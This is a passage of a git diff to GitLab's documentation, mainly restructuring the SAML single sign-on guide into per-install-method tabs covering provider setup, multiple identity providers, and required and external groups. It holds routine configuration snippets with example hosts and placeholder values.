account in Salesforce system. +1. Trading partner account in Salesforce system. + +Interested GitLab Partners should contact their GitLab Partner Manager or email [`partnerorderops`](mailto:partnerorderops@gitlab.com). + +## Marketplace API Specification + +OpenAPI specs for the Marketplace APIs are available upon request. The specs will be made public before the end of Q1 2023. diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md index 3a8ec271e27..3cdbc5303f8 100644 --- a/doc/integration/recaptcha.md +++ b/doc/integration/recaptcha.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # reCAPTCHA **(FREE SELF)** -GitLab leverages [Google's reCAPTCHA](https://www.google.com/recaptcha/about/) +GitLab leverages [reCAPTCHA](https://www.google.com/recaptcha/about/) to protect against spam and abuse. GitLab displays the CAPTCHA form on the sign-up page to confirm that a real user, not a bot, is attempting to create an account. diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md index d4d2bfacb4f..16432d3ca5d 100644 --- a/doc/integration/salesforce.md +++ b/doc/integration/salesforce.md @@ -48,7 +48,9 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `salesforce` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration: diff --git a/doc/integration/saml.md b/doc/integration/saml.md index c42807f33cd..24b5e6152a5 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -23,60 +23,29 @@ For more information on: ## Configure SAML support in GitLab -1. Make sure GitLab is [configured with HTTPS](../install/installation.md#using-https). - -1. On your GitLab server, open the configuration file. - - For Omnibus installations: - - ```shell - sudo editor /etc/gitlab/gitlab.rb - ``` +::Tabs - For installations from source: - - ```shell - cd /home/git/gitlab - - sudo -u git -H editor config/gitlab.yml - ``` - -1. Edit the initial [configuration settings](omniauth.md#configure-initial-settings). +:::TabTitle Linux package (Omnibus) +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/omnibus/settings/ssl/). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `saml` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. To allow your users to use SAML to sign up without having to manually create - an account first, add the following values to your configuration. - - For Omnibus installations: + an account first, edit `/etc/gitlab/gitlab.rb`: ```ruby gitlab_rails['omniauth_allow_single_sign_on'] = ['saml'] gitlab_rails['omniauth_block_auto_created_users'] = false ``` - For installations from source: - - ```yaml - omniauth: - enabled: true - allow_single_sign_on: ["saml"] - block_auto_created_users: false - ``` - 1. Optional. You can automatically link SAML users with existing GitLab users if their - email addresses match by adding the following setting. - - For Omnibus installations: + email addresses match by adding the following setting in `/etc/gitlab/gitlab.rb`: ```ruby gitlab_rails['omniauth_auto_link_saml_user'] = true ``` - For installations from source: - - ```yaml - auto_link_saml_user: true - ``` - Alternatively, a user can manually link their SAML identity to an existing GitLab account by [enabling OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user). @@ -89,9 +58,7 @@ For more information on: See your SAML IdP documentation for information on how to make these attributes unchangeable. -1. Add the provider configuration. - - For Omnibus installations: +1. Edit `/etc/gitlab/gitlab.rb` and add the provider configuration: ```ruby gitlab_rails['omniauth_providers'] = [ @@ -109,7 +76,244 @@ For more information on: ] ``` - For installations from source: + Where: + + - `assertion_consumer_service_url`: The GitLab HTTPS endpoint + (append `/users/auth/saml/callback` to the HTTPS URL of your GitLab installation). + - `idp_cert_fingerprint`: Your IdP value. It must be a SHA1 fingerprint. + For more information on these values, see the + [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml). + For more information on other configuration settings, see + [configuring SAML on your IdP](#configure-saml-on-your-idp). + - `idp_sso_target_url`: Your IdP value. + - `issuer`: Change to a unique name, which identifies the application to the IdP. + - `name_identifier_format`: Your IdP value. + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/charts/installation/tls.html). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `saml` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. To allow your users to use SAML to sign up without having to manually create + an account first, edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + enabled: true + allowSingleSignOn: ['saml'] + blockAutoCreatedUsers: true + ``` + +1. Optional. You can automatically link SAML users with existing GitLab users if their + email addresses match by adding the following setting in `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + autoLinkSamlUser: true + ``` + + Alternatively, a user can manually link their SAML identity to an existing GitLab + account by [enabling OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user). + +1. Configure the following attributes so your SAML users cannot change them: + + - [`NameID`](../user/group/saml_sso/index.md#nameid). + - `Email` when used with `omniauth_auto_link_saml_user`. + + If users can change these attributes, they can sign in as other authorized users. + See your SAML IdP documentation for information on how to make these attributes + unchangeable. + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Provider name' # optional label for login button, defaults to "Saml" + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + + Where: + + - `assertion_consumer_service_url`: The GitLab HTTPS endpoint + (append `/users/auth/saml/callback` to the HTTPS URL of your GitLab installation). + - `idp_cert_fingerprint`: Your IdP value. It must be a SHA1 fingerprint. + For more information on these values, see the + [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml). + For more information on other configuration settings, see + [configuring SAML on your IdP](#configure-saml-on-your-idp). + - `idp_sso_target_url`: Your IdP value. + - `issuer`: Change to a unique name, which identifies the application to the IdP. + - `name_identifier_format`: Your IdP value. + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Edit `gitlab_values.yaml` and add the provider configuration: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/omnibus/settings/ssl/). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `saml` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. +1. To allow your users to use SAML to sign up without having to manually create + an account first, edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml'] + gitlab_rails['omniauth_block_auto_created_users'] = false + ``` + +1. Optional. You can automatically link SAML users with existing GitLab users if their + email addresses match by adding the following setting in `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_auto_link_saml_user'] = true + ``` + + Alternatively, a user can manually link their SAML identity to an existing GitLab + account by [enabling OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user). + +1. Configure the following attributes so your SAML users cannot change them: + + - [`NameID`](../user/group/saml_sso/index.md#nameid). + - `Email` when used with `omniauth_auto_link_saml_user`. + + If users can change these attributes, they can sign in as other authorized users. + See your SAML IdP documentation for information on how to make these attributes + unchangeable. + +1. Edit `docker-compose.yml` and add the provider configuration: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { + name: "saml", + label: "Provider name", # optional label for login button, defaults to "Saml" + args: { + assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback", + idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8", + idp_sso_target_url: "https://login.example.com/idp", + issuer: "https://gitlab.example.com", + name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent" + } + } + ] + ``` + + Where: + + - `assertion_consumer_service_url`: The GitLab HTTPS endpoint + (append `/users/auth/saml/callback` to the HTTPS URL of your GitLab installation). + - `idp_cert_fingerprint`: Your IdP value. It must be a SHA1 fingerprint. + For more information on these values, see the + [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml). + For more information on other configuration settings, see + [configuring SAML on your IdP](#configure-saml-on-your-idp). + - `idp_sso_target_url`: Your IdP value. + - `issuer`: Change to a unique name, which identifies the application to the IdP. + - `name_identifier_format`: Your IdP value. + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Make sure GitLab is [configured with HTTPS](../install/installation.md#using-https). +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `saml` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. +1. To allow your users to use SAML to sign up without having to manually create + an account first, edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + enabled: true + allow_single_sign_on: ["saml"] + block_auto_created_users: false + ``` + +1. Optional. You can automatically link SAML users with existing GitLab users if their + email addresses match by adding the following setting in `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + auto_link_saml_user: true + ``` + + Alternatively, a user can manually link their SAML identity to an existing GitLab + account by [enabling OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user). + +1. Configure the following attributes so your SAML users cannot change them: + + - [`NameID`](../user/group/saml_sso/index.md#nameid). + - `Email` when used with `omniauth_auto_link_saml_user`. + + If users can change these attributes, they can sign in as other authorized users. + See your SAML IdP documentation for information on how to make these attributes + unchangeable. + +1. Edit `/home/git/gitlab/config/gitlab.yml` and add the provider configuration: ```yaml omniauth: @@ -127,26 +331,30 @@ For more information on: } ``` -1. Match the value for `assertion_consumer_service_url` to the HTTPS endpoint - of GitLab. To generate the correct value, append `users/auth/saml/callback` to the - HTTPS URL of your GitLab installation. + Where: + + - `assertion_consumer_service_url`: The GitLab HTTPS endpoint + (append `/users/auth/saml/callback` to the HTTPS URL of your GitLab installation). + - `idp_cert_fingerprint`: Your IdP value. It must be a SHA1 fingerprint. + For more information on these values, see the + [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml). + For more information on other configuration settings, see + [configuring SAML on your IdP](#configure-saml-on-your-idp). + - `idp_sso_target_url`: Your IdP value. + - `issuer`: Change to a unique name, which identifies the application to the IdP. + - `name_identifier_format`: Your IdP value. -1. Change the following values to match your IdP: - - `idp_cert_fingerprint`. - - `idp_sso_target_url`. - - `name_identifier_format`. - If you use a `idp_cert_fingerprint`, it must be a SHA1 fingerprint. For more - information on these values, see the - [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml). - For more information on other configuration settings, see - [configuring SAML on your IdP](#configure-saml-on-your-idp). +1. Save the file and restart GitLab: -1. Change the value of `issuer` to a unique name, which identifies the application - to the IdP. + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` -1. For the changes to take effect, if you installed: - - Using Omnibus, [reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). - - From source, [restart GitLab](../administration/restart_gitlab.md#installations-from-source). +::EndTabs ### Register GitLab in your SAML IdP @@ -200,74 +408,231 @@ You can configure GitLab to use multiple SAML IdPs if: - The `strategy_class` is explicitly set because it cannot be inferred from provider name. -[SAML Group Sync](../user/group/saml_sso/group_sync.md) does not support multiple IdPs. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605). - -Example provider's configuration for installations from source: - -```yaml -omniauth: - providers: - - { - name: 'saml', # This must match the following name configuration parameter - args: { - name: 'saml', # This is mandatory and must match the provider name - strategy_class: 'OmniAuth::Strategies::SAML', - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_1/callback', # URL must match the name of the provider - ... # Put here all the required arguments similar to a single provider - }, - label: 'Provider 1' # Differentiate the two buttons and providers in the UI - } - - { - name: 'saml1', # This must match the following name configuration parameter - args: { - name: 'saml1', # This is mandatory and must match the provider name - strategy_class: 'OmniAuth::Strategies::SAML', - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider - ... # Put here all the required arguments similar to a single provider - }, - label: 'Provider 2' # Differentiate the two buttons and providers in the UI - } -``` - -Example provider's configuration for Omnibus GitLab installations: - -To allow your users to use SAML to sign up without having to manually create an account from either of the providers, add the following values to your configuration. - -```ruby -gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'saml1'] -``` - -```ruby -gitlab_rails['omniauth_providers'] = [ - { - name: 'saml', # This must match the following name configuration parameter - args: { - name: 'saml', # This is mandatory and must match the provider name - strategy_class: 'OmniAuth::Strategies::SAML', - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_1/callback', # URL must match the name of the provider - ... # Put here all the required arguments similar to a single provider - }, - label: 'Provider 1' # Differentiate the two buttons and providers in the UI - }, - { - name: 'saml1', # This must match the following name configuration parameter - args: { - name: 'saml1', # This is mandatory and must match the provider name - strategy_class: 'OmniAuth::Strategies::SAML', - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider - ... # Put here all the required arguments similar to a single provider - }, - label: 'Provider 2' # Differentiate the two buttons and providers in the UI - } -] -``` - -To allow your users to use SAML to sign up without having to manually create an -account from either of the providers, add the following values to your configuration. - -```ruby -gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'saml1'] -``` +[SAML group memberships](#configure-users-based-on-saml-group-membership) and [Group Sync](../user/group/saml_sso/group_sync.md) do not support multiple IdPs. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605). + +To set up multiple SAML IdPs: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { + name: 'saml', # This must match the following name configuration parameter + label: 'Provider 1' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml', # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML', + ... # Put here all the required arguments similar to a single provider + }, + }, + { + name: 'saml_2', # This must match the following name configuration parameter + label: 'Provider 2' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml_2', # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML', + ... # Put here all the required arguments similar to a single provider + }, + } + ] + ``` + + To allow your users to use SAML to sign up without having to manually create an + account from either of the providers, add the following values to your configuration: + + ```ruby + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'saml_2'] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers) + for the first SAML provider: + + ```yaml + name: 'saml' # At least one provider must be named 'saml' + label: 'Provider 1' # Differentiate the two buttons and providers in the UI + args: + name: 'saml' # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML' # Mandatory + ... # Put here all the required arguments similar to a single provider + ``` + +1. Put the following content in a file named `saml_2.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers) + for the second SAML provider: + + ```yaml + name: 'saml_2' + label: 'Provider 2' # Differentiate the two buttons and providers in the UI + args: + name: 'saml_2' # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback' # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML' # Mandatory + ... # Put here all the required arguments similar to a single provider + ``` + +1. Optional. Set additional SAML providers by following the same steps. +1. Create the Kubernetes Secrets: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml \ + --from-file=saml=saml.yaml \ + --from-file=saml_2=saml_2.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + - key: saml + - secret: gitlab-saml + - key: saml_2 + ``` + + To allow your users to use SAML to sign up without having to manually create an + account from either of the providers, add the following values to your configuration: + + ```yaml + global: + appConfig: + omniauth: + allowSingleSignOn: ['saml', 'saml_2'] + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'saml1'] + gitlab_rails['omniauth_providers'] = [ + { + name: 'saml', # This must match the following name configuration parameter + label: 'Provider 1' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml', # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML', + ... # Put here all the required arguments similar to a single provider + }, + }, + { + name: 'saml_2', # This must match the following name configuration parameter + label: 'Provider 2' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml_2', # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML', + ... # Put here all the required arguments similar to a single provider + }, + } + ] + ``` + + To allow your users to use SAML to sign up without having to manually create an + account from either of the providers, add the following values to your configuration: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_allow_single_sign_on'] = ['saml', 'saml_2'] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { + name: 'saml', # This must match the following name configuration parameter + label: 'Provider 1' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml', # This is mandatory and must match the provider name + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', # URL must match the name of the provider + strategy_class: 'OmniAuth::Strategies::SAML', + ... # Put here all the required arguments similar to a single provider + }, + } + - { + name: 'saml_2', # This must match the following name configuration parameter + label: 'Provider 2' # Differentiate the two buttons and providers in the UI + args: { + name: 'saml_2', # This is mandatory and must match the provider name + strategy_class: 'OmniAuth::Strategies::SAML', + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml_2/callback', # URL must match the name of the provider + ... # Put here all the required arguments similar to a single provider + }, + } + ``` + + To allow your users to use SAML to sign up without having to manually create an + account from either of the providers, add the following values to your configuration: + + ```yaml + production: &base + omniauth: + allow_single_sign_on: ["saml", "saml_2"] + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Set up identity providers @@ -382,6 +747,9 @@ Support for these groups depends on: - Your [subscription](https://about.gitlab.com/pricing/). - Whether you've installed [GitLab Enterprise Edition (EE)](https://about.gitlab.com/install/). +- The [name of the SAML provider](#configure-saml-support-in-gitlab). Group + memberships are only supported by a single SAML provider named + `saml`. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605). | Group | Tier | GitLab Enterprise Edition (EE) Only? | |------------------------------|--------------------|--------------------------------------| @@ -390,26 +758,26 @@ Support for these groups depends on: | [Admin](#administrator-groups) | **(FREE SELF)** | Yes | | [Auditor](#auditor-groups) | **(PREMIUM SELF)** | Yes | -### Prerequisites - -You must tell GitLab where to look for group information. To do this, make sure -that your IdP server sends a specific `AttributeStatement` along with the regular -SAML response. For example: - -```xml -<saml:AttributeStatement> - <saml:Attribute Name="Groups"> - <saml:AttributeValue xsi:type="xs:string">Developers</saml:AttributeValue> - <saml:AttributeValue xsi:type="xs:string">Freelancers</saml:AttributeValue> - <saml:AttributeValue xsi:type="xs:string">Admins</saml:AttributeValue> - <saml:AttributeValue xsi:type="xs:string">Auditors</saml:AttributeValue> - </saml:Attribute> -</saml:AttributeStatement> -``` +Prerequisites: -The name of the attribute must contain the groups that a user belongs to. -To tell GitLab where to find these groups, add a `groups_attribute:` -element to your SAML settings. +- You must tell GitLab where to look for group information. To do this, make sure + that your IdP server sends a specific `AttributeStatement` along with the regular + SAML response. For example: + + ```xml + <saml:AttributeStatement> + <saml:Attribute Name="Groups"> + <saml:AttributeValue xsi:type="xs:string">Developers</saml:AttributeValue> + <saml:AttributeValue xsi:type="xs:string">Freelancers</saml:AttributeValue> + <saml:AttributeValue xsi:type="xs:string">Admins</saml:AttributeValue> + <saml:AttributeValue xsi:type="xs:string">Auditors</saml:AttributeValue> + </saml:Attribute> + </saml:AttributeStatement> + ``` + + The name of the attribute must contain the groups that a user belongs to. + To tell GitLab where to find these groups, add a `groups_attribute:` + element to your SAML settings. ### Required groups @@ -425,21 +793,146 @@ membership is required to sign in. If you do not set `required_groups` or leave the setting empty, anyone with proper authentication can use the service. -Example configuration: +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: -```yaml -{ name: 'saml', - label: 'Our SAML Provider', - groups_attribute: 'Groups', - required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' - } } -``` + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ### External groups @@ -455,19 +948,147 @@ setting. Example configuration: -```yaml -{ name: 'saml', - label: 'Our SAML Provider', - groups_attribute: 'Groups', - external_groups: ['Freelancers'], - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' - } } -``` +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + external_groups: ['Freelancers'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + external_groups: ['Freelancers'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + external_groups: ['Freelancers'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + external_groups: ['Freelancers'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + 